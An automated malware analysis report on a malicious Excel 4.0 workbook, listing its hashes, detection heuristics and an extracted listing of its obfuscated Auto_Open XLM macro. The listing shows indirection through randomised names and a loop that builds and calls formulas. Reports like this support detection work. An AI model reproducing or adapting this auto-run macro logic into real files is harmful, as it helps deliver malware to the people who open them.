Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b8d22e3ac9e28a71…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:47:43 Authoring application: Microsoft Excel First seen: 2021-01-23
MD5: af0ede86dfaea9536a3fc77296319347 SHA-1: 44cc04e199a8d975e4e1b0fe9fddf073e9c69c8e SHA-256: b8d22e3ac9e28a7134b0f2d288a23a557b73fe8ec44616609c462f302207833c
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6532 bytes
SHA-256: 6acdf9b242f268a8d9d2892d91717c310f4b22dd6b5ae22743c7d5ca230c43f6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XiL
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B164 
' 0018     20 LABEL : Cell Value, String Constant - BqVFF len=0 
' 0018     23 LABEL : Cell Value, String Constant - CRkwCPrS len=0 
' 0018     22 LABEL : Cell Value, String Constant - dempLnF len=0 
' 0018     24 LABEL : Cell Value, String Constant - DNlQiJBdG len=0 
' 0018     21 LABEL : Cell Value, String Constant - hSZjRR len=0 
' 0018     20 LABEL : Cell Value, String Constant - jKUgm len=0 
' 0018     26 LABEL : Cell Value, String Constant - KkJgrKEARYg len=0 
' 0018     24 LABEL : Cell Value, String Constant - knZKSAgIq len=0 
' 0018     24 LABEL : Cell Value, String Constant - KzoAZhUho len=0 
' 0018     25 LABEL : Cell Value, String Constant - lfcHgznEIS len=0 
' 0018     21 LABEL : Cell Value, String Constant - mloqzk len=0 
' 0018     25 LABEL : Cell Value, String Constant - NMrsnCDIUW len=0 
' 0018     21 LABEL : Cell Value, String Constant - pJFePS len=0 
' 0018     21 LABEL : Cell Value, String Constant - tjYlFd len=0 
' 0018     27 LABEL : Cell Value, String Constant - wYlBrPoKnDjA len=0 
' 0018     26 LABEL : Cell Value, String Constant - xardOVdacOb len=0 
' 0018     25 LABEL : Cell Value, String Constant - xOHlzVOHIK len=0 
' 0018     20 LABEL : Cell Value, String Constant - ypJPC len=0 
' 0018     27 LABEL : Cell Value, String Constant - zahVcgORHPSh len=0 
' 0018     20 LABEL : Cell Value, String Constant - zQxiX len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XiL,P74,"",-263.00000000000000000000
'  XiL,P75,"",-517.00000000000000000000
'  XiL,P76,"",425.00000000000000000000
'  XiL,B77,"SET.NAME("zahVcgORHPSh",0+VALUE("0"))",""
'  XiL,P77,"",900.00000000000000000000
'  XiL,P78,"",938.00000000000000000000
'  XiL,B79,"SET.NAME("DNlQiJBdG",zahVcgORHPSh)",""
'  XiL,P79,"",507.00000000000000000000
'  XiL,B83,"SET.NAME("xardOVdacOb",zahVcgORHPSh)",""
'  XiL,B88,"SET.NAME("pJFePS",COUNTA(CRkwCPrS))",""
'  XiL,B90,"SET.NAME("wYlBrPoKnDjA",COUNTA(mloqzk))",""
'  XiL,B92,[],""
'  XiL,B94,"SET.NAME("ypJPC","")",""
'  XiL,B99,"DNlQiJBdG",""
'  XiL,B103,"SET.NAME("dempLnF",HLOOKUP("*",CRkwCPrS,DNlQiJBdG,FALSE))",""
'  XiL,B107,"knZKSAgIq",""
'  XiL,B112,"SET.NAME("jKUgm",zahVcgORHPSh)",""
'  XiL,B117,[],""
'  XiL,B121,"jKUgm",""
'  XiL,B123,"KzoAZhUho",""
'  XiL,B127,"lfcHgznEIS",""
'  XiL,B129,"hSZjRR",""
'  XiL,B132,"SET.NAME("zQxiX",VALUE(HLOOKUP("*",mloqzk,hSZjRR,FALSE)))",""
'  XiL,B136,"BqVFF",""
'  XiL,B141,"ypJPC",""
'  XiL,B144,"xardOVdacOb",""
'  XiL,B146,NEXT(),""
'  XiL,B148,"xOHlzVOHIK",""
'  XiL,B151,[],""
'  XiL,B154,"tjYlFd",""
'  XiL,B156,NEXT(),""
'  XiL,B161,RETURN(),""
'  XiL,B188,"SET.NAME("NMrsnCDIUW",B77)",""
'  XiL,B190,"CRkwCPrS",""
'  XiL,B194,"SET.NAME("mloqzk",R82C14)",""
'  XiL,B196,"SET.NAME("tjYlFd",201)",""
'  XiL,B198,"SET.NAME("KkJgrKEARYg",2)",""
'  XiL,B200,NMrsnCDIUW(),""
'  XiL,B201,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.